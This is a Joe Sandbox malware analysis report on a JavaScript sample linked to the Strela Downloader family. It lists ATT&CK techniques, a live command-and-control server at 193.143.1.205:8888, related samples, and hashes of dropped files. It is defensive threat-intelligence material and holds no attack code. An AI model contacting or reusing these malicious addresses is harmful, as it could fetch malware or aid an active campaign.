Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
324865730118751586.js	0%	ReversingLabs
324865730118751586.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/6	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/temO	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
241.42.69.40.in-addr.arpa	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3887579368.000001BA5AA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2643172733.000001BA5A830000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/6	net.exe, 00000007.00000002.2645828506.000001CCE3698000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2642200167.000001CCE3698000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/temO	net.exe, 00000007.00000002.2645455914.000001CCE3660000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2642200167.000001CCE3698000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2645828506.000001CCE36AF000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587789
Start date and time:	2025-01-10 17:59:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	324865730118751586.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 172.202.163.200, 23.41.168.139, 40.69.42.241, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:00:46	API Interceptor	22x Sleep call for process: powershell.exe modified
12:00:50	API Interceptor	1x Sleep call for process: net.exe modified
12:00:50	API Interceptor	2x Sleep call for process: svchost.exe modified
12:00:58	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21646213161445014123.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	238395810148579476.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	281511335289626058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7722122961798048
Encrypted:	false
SSDEEP:	1536:pJNVxIssjfjonQaKQA0bTMe0bS0bfQJZfhcZyPzJ0iDub69OGd+lJzZgSsrEGTWf:pJV3wb7cOrGqXuT72iIa5lze
MD5:	FFAD3D4D8E2E2A0EFF7F3AE44DEDCF06
SHA1:	23C87389BB4DE6B05701C4BCD9CEA07268079E6D
SHA-256:	0262D1B5B9FB567DA1EB13085CBBC7F09055C86F5EA9A9420AA7B0782EED8911
SHA-512:	462E310222EDC41E18AD7FAF57AA5E537256F5C392D402D6ABDFC06A65612F94CE6EEA407A07B56EF52A4AADCD6531FD4F31ED156EE5C46149C6B12FF396A456
Malicious:	false
Preview:	.{..........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................... ...........4...Bv=.#.........`h.................h.!.....6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9f5d0256, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7815945651227765
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dviQJ5dyDkZA0bVQJOYkr3g16xz2UPkLk+k0KQRkjskjD+qaN4:Razanvxugz2UESQ
MD5:	7ED0CF29EEA77DF7C7C961FFB59D483E
SHA1:	994E2B49052BF67EB026BC1DBE27EF1B7E3B835C
SHA-256:	8D7394E19C4E32668A8E9A9FCE575237A79DF01FFF13C73E23DBA4D55184B862
SHA-512:	BC05A991C0721AE5A58330BA5646931CCA3876E1ABE7D97E4AFB7C7D610CF7BE0B14095E662F4A4C81F1C07B9354BF6782E1C69858749367E7AB1A25BBDEB19B
Malicious:	false
Preview:	.].V... .......J.......X\...;...{......................0.o..........{%.2....}..h.q.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................=K..2....}I....................2....}...........................#......h.q.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07725134003777631
Encrypted:	false
SSDEEP:	3:ggtyYeghYIbpgGAlntSlsVlBcXIuvkYIJll/oll12St/ll/SnPK/t:ggUzKYL1tWsPiJvkY0lAjlf
MD5:	8B1A4ABEAB6DCEA25BA1AA650B67B09B
SHA1:	8832144952D66596D6567B19BF0B408A8C9C1246
SHA-256:	8CA077DBE045BCC23B2DEF9F2E4017DD36208EF7D4FB6C42C1E0009D072B49B9
SHA-512:	C6A9459602C1A637306EC6026FD7CA3BF8F09F6897DADB2B665E9809B244D4C08B70797E768A080D24AE79538BEC7ED6FC6438EB104C70BC5D62BB9321A15AAB
Malicious:	false
Preview:	J..T.....................................;...{..2....}.......{%..............{%......{%.d........{%....................2....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.10839091553396
Encrypted:	false
SSDEEP:	6:iO4pfAExAq2Pv2nKuAl9OmbnIFUtSpfAEFZmwspfAEXkwOv2nKuAl9OmbjLJ:78Av2HAahFUt4/K5bHAaSJ
MD5:	76E53BC034BDBBC157A2965DCFC752A3
SHA1:	321F11961AC3885C0210AAEF308FF0D6245AA74A
SHA-256:	4EFA9F9767E68D9CA93A076AF193DED8326D175DD26B20BA054B49927396E82C
SHA-512:	1F6AFE5A820014F959068FE360A4E6C627D921FC1C9AECA8265B5783D7304B3EEE6860FE695B55E05AF448109C569C6587C4685953CE4CBCBCE161F0AB65BD55
Malicious:	false
Preview:	2025/01/10-12:00:50.071 1840 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:00:50.073 1840 Recovering log #3.2025/01/10-12:00:50.073 1840 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.10839091553396
Encrypted:	false
SSDEEP:	6:iO4pfAExAq2Pv2nKuAl9OmbnIFUtSpfAEFZmwspfAEXkwOv2nKuAl9OmbjLJ:78Av2HAahFUt4/K5bHAaSJ
MD5:	76E53BC034BDBBC157A2965DCFC752A3
SHA1:	321F11961AC3885C0210AAEF308FF0D6245AA74A
SHA-256:	4EFA9F9767E68D9CA93A076AF193DED8326D175DD26B20BA054B49927396E82C
SHA-512:	1F6AFE5A820014F959068FE360A4E6C627D921FC1C9AECA8265B5783D7304B3EEE6860FE695B55E05AF448109C569C6587C4685953CE4CBCBCE161F0AB65BD55
Malicious:	false
Preview:	2025/01/10-12:00:50.071 1840 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:00:50.073 1840 Recovering log #3.2025/01/10-12:00:50.073 1840 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.0155553419272385
Encrypted:	false
SSDEEP:	6:iO4pfAgUGYVq2Pv2nKuAl9Ombzo2jMGIFUtSpfARYgZmwspfAGSIkwOv2nKuAl97:7sUvv2HAa8uFUtN/y5bHAa8RJ
MD5:	CF2F69F515EA5FED457BE15B89A89BD5
SHA1:	375E1BBDF10ACDE10C392C9C2766726D9B3A1A5D
SHA-256:	25DB83D3A6E4B77E4EA9665D71A9EA01FCDBF67126ADAEF2F3263461E6BC5104
SHA-512:	3A31DE4071904B025F4AFCA51C090437F7EA915CB9B43E816FE2A5238734FD5CE7CD41B920CF259A1BF8CAE7720967CE77B5D3A0AA4BB038907DCC61BF736EBC
Malicious:	false
Preview:	2025/01/10-12:00:50.100 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:00:50.101 18a0 Recovering log #3.2025/01/10-12:00:50.102 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.0155553419272385
Encrypted:	false
SSDEEP:	6:iO4pfAgUGYVq2Pv2nKuAl9Ombzo2jMGIFUtSpfARYgZmwspfAGSIkwOv2nKuAl97:7sUvv2HAa8uFUtN/y5bHAa8RJ
MD5:	CF2F69F515EA5FED457BE15B89A89BD5
SHA1:	375E1BBDF10ACDE10C392C9C2766726D9B3A1A5D
SHA-256:	25DB83D3A6E4B77E4EA9665D71A9EA01FCDBF67126ADAEF2F3263461E6BC5104
SHA-512:	3A31DE4071904B025F4AFCA51C090437F7EA915CB9B43E816FE2A5238734FD5CE7CD41B920CF259A1BF8CAE7720967CE77B5D3A0AA4BB038907DCC61BF736EBC
Malicious:	false
Preview:	2025/01/10-12:00:50.100 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:00:50.101 18a0 Recovering log #3.2025/01/10-12:00:50.102 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.9707471582527525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq+sBdOg2HBgcaq3QYiubPP7E4T3y:Y2sRds2dMHBL3QYhbH7nby
MD5:	DA7E975948080782CF535BE026E0FB4B
SHA1:	C770EA7A4FB567AAF5EC41D34C5768FA8804B045
SHA-256:	9AE952762D3259C7172E4E88140D8D7C9BE7840B618D317C4D5EAEA68BE0B84C
SHA-512:	01568E081D12BE1AFFE613EB15915664254292C830B9387F6EFBD0193292CB820ED016999833DE63CAB9E222323FB31EC20FBAFD2125444D906B79570EC9CF5F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088461759587","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140148},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.12","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a296bc72-d389-412c-9bf6-35b8ea75383b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.9707471582527525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq+sBdOg2HBgcaq3QYiubPP7E4T3y:Y2sRds2dMHBL3QYhbH7nby
MD5:	DA7E975948080782CF535BE026E0FB4B
SHA1:	C770EA7A4FB567AAF5EC41D34C5768FA8804B045
SHA-256:	9AE952762D3259C7172E4E88140D8D7C9BE7840B618D317C4D5EAEA68BE0B84C
SHA-512:	01568E081D12BE1AFFE613EB15915664254292C830B9387F6EFBD0193292CB820ED016999833DE63CAB9E222323FB31EC20FBAFD2125444D906B79570EC9CF5F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088461759587","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140148},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.12","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.213956625877051
Encrypted:	false
SSDEEP:	96:GQux1TtQoLOdBrjx5uaLOKhtr8OU8tZdUtFuHHoQHoOqP:zux1TNOdBrjxQIOK/4OvZdUPuHHoQHoB
MD5:	A8E46C5F7B271F6BE425C8083FB4059F
SHA1:	4B04621863FC5E3AE2BA85BFED3C917E7D98D9F5
SHA-256:	01EF0EB630B486CCD0B122F56A3F10E0DFEDAB549798960CF684F688A1DE9563
SHA-512:	AF5EDAB13025AB35C63918B96BE3D9739AAA04CBD542C68B8A6E007D9149727FC6FD6E9E588F82DA7E6816F7F46265FFD1C5B5D471D706B72440DAAA282C5737
Malicious:	false
Preview:	*...#................version.1..namespace-....o................next-map-id.1.Pnamespace-7e305c39_d2cf_4529_a05a_c594b19b130d-https://rna-resource.acrobat.com/.08..ur................next-map-id.2.Snamespace-3b7a0125_ffe4_43e4_9267_9114e9bd4ef0-https://rna-v2-resource.acrobat.com/.1..kr................next-map-id.3.Snamespace-b5707108_0a77_4f86_8085_b3b780fa5fd7-https://rna-v2-resource.acrobat.com/.2a60.o................next-map-id.4.Pnamespace-706bf942_8f67_4abb_a866_2428106408be-https://rna-resource.acrobat.com/.3....^...............Pnamespace-7e305c39_d2cf_4529_a05a_c594b19b130d-https://rna-resource.acrobat.com/$...r................next-map-id.5.Snamespace-8636f107_899a_42b0_9217_ddfd773d1c84-https://rna-v2-resource.acrobat.com/.4..p.r................next-map-id.6.Snamespace-7b9f8588_400e_4560_9274_0b14323a49a1-https://rna-v2-resource.acrobat.com/.5]..ro................next-map-id.7.Pnamespace-c8af9c4a_d01c_48c1_9e5d_35b6c87a8d52-https://rna-resource.acrobat.com/.6...uo..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.099345555764668
Encrypted:	false
SSDEEP:	6:iO4pfAZSVq2Pv2nKuAl9OmbzNMxIFUtSpfAcS8SgZmwspfAtSIkwOv2nKuAl9Omk:7FOv2HAa8jFUtyR/b5bHAa84J
MD5:	4724469731C480A2C15A925F84B1756B
SHA1:	C47058BBEAD2D28A252BCC4FDAC7AC01DBEB65B3
SHA-256:	755F04F73E51349DF187A9B66E93FE8FEBDE778950EE1E4B52652D7234574B88
SHA-512:	2E0836D52D3D05224BB98CC91F48F7B773F82479B38E0036389EBAA2ED9281F9091A744D52D0E5F8F17EEE816B325504FBE4F3BABA7F35BACC1C345112DC44C5
Malicious:	false
Preview:	2025/01/10-12:00:50.389 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:00:50.391 18a0 Recovering log #3.2025/01/10-12:00:50.392 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.099345555764668
Encrypted:	false
SSDEEP:	6:iO4pfAZSVq2Pv2nKuAl9OmbzNMxIFUtSpfAcS8SgZmwspfAtSIkwOv2nKuAl9Omk:7FOv2HAa8jFUtyR/b5bHAa84J
MD5:	4724469731C480A2C15A925F84B1756B
SHA1:	C47058BBEAD2D28A252BCC4FDAC7AC01DBEB65B3
SHA-256:	755F04F73E51349DF187A9B66E93FE8FEBDE778950EE1E4B52652D7234574B88
SHA-512:	2E0836D52D3D05224BB98CC91F48F7B773F82479B38E0036389EBAA2ED9281F9091A744D52D0E5F8F17EEE816B325504FBE4F3BABA7F35BACC1C345112DC44C5
Malicious:	false
Preview:	2025/01/10-12:00:50.389 18a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:00:50.391 18a0 Recovering log #3.2025/01/10-12:00:50.392 18a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.437981628751868
Encrypted:	false
SSDEEP:	384:ye1ci5GFiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:SJurVgazUpUTTGt
MD5:	98341261EB07962460802F2245A3F248
SHA1:	93F86A07C38911C7C2B3573AA7492B6FF6B4D9FE
SHA-256:	55FB35F474F7347070AD99804B1CAAA859203861226D5585A2A9186A82EC1887
SHA-512:	54B96714118226E59D715BACBB0630A4A33600FCC4EBF63867DF3A5322C90053F92DFDB4F89CE31DE449D987DF41BA75AABEA7713EE1A89F1BB37CF88C4B9A10
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7663713887193295
Encrypted:	false
SSDEEP:	48:7M6JioyVHioy/oy1C7oy16oy19KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OI:7ZJuHdMXjBixb9IVXEBodRBkF
MD5:	F26354870A652B2FF7A712FA659A5A59
SHA1:	738F48F5A5A7EFF4E5F36849123009D96079F22C
SHA-256:	63D358EDA20460668CC705499A901FC000444A2C0566133530BB76CC8B71B9AB
SHA-512:	8ED1B5C719D650D45A85C42AF17C82AE9643AE96EFA5CB6C064A0507CF2A6C891961FA22A274E39EB88C0B3A76D9EC947A60B2626500354D43B71A9A61641643
Malicious:	false
Preview:	.... .c.....j..P...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
